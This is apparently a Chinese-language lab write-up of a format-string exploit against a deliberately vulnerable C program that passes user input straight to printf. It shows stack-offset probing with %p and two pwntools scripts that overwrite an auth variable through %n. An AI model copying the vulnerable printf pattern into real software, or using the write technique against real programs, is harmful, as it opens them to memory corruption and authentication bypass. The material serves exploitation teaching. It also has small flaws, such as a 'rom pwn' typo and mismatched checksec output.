vuln.c

#include <stdio.h>

int auth = 0;

int main() {
   char password[100];
   puts("Password: ");
   fgets(password, sizeof password, stdin);
   printf(password);
   printf("Auth is %i\n", auth);

   if(auth == 10) {
     puts("Authenticated!");
   }
}

程序分析

  1. 程序保护 gcc -m32 -no-pie -fno-stack-protector -z execstack vuln.c -o vuln
$ checksec --file=./vuln
[*] '/home/kali/exploits/str_arb_write/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
  1. 栈布局
$ ./vuln         
Password: 
%p %p %p %p %p %p %p %p %p %p %p 
0x64 0xf7e1d620 0x804918d 0xf7ffdbac 0x1 0xf7fc17c0 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 
Auth is 0
ascii hex
% 0x25
" " 0x20
p 0x70

第7个dword存放格式化字符串 3. 构建利用栈

栈偏移 栈内容
+ 0 format_str_pointer
+ 7 format_str

事实上 printf(“winsunxuxu%n”, &auth) ==> (auth = 10)
最终format_str内容是: format_str ::= p32(auth_var_addr) + sizeof(6) + “%7$n” 4. pwn

  1. 手工pwn
from pwn import * 
p = process('./vuln')
auth = 0x804c028
payload = p32(auth)
payload += b'A' * 6
payload += b'%7$n'
p.clean()
p.sendline(payload)
log.info(p.clean())
  1. 工具pwn
rom pwn import *

elf = context.binary = ELF('./vuln')
auth = elf.sym['auth']
payload = fmtstr_payload(7,{auth:10})

p = process()
p.clean()
p.sendline(payload)
log.info(p.clean())
$ python pwn.py
[*] '/home/kali/exploits/str_arb_write/auth'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
b'%10c%9$n(\xc0\x04\x08'
[+] Starting local process : pid 1551097
    Auth is 10
    Authenticated!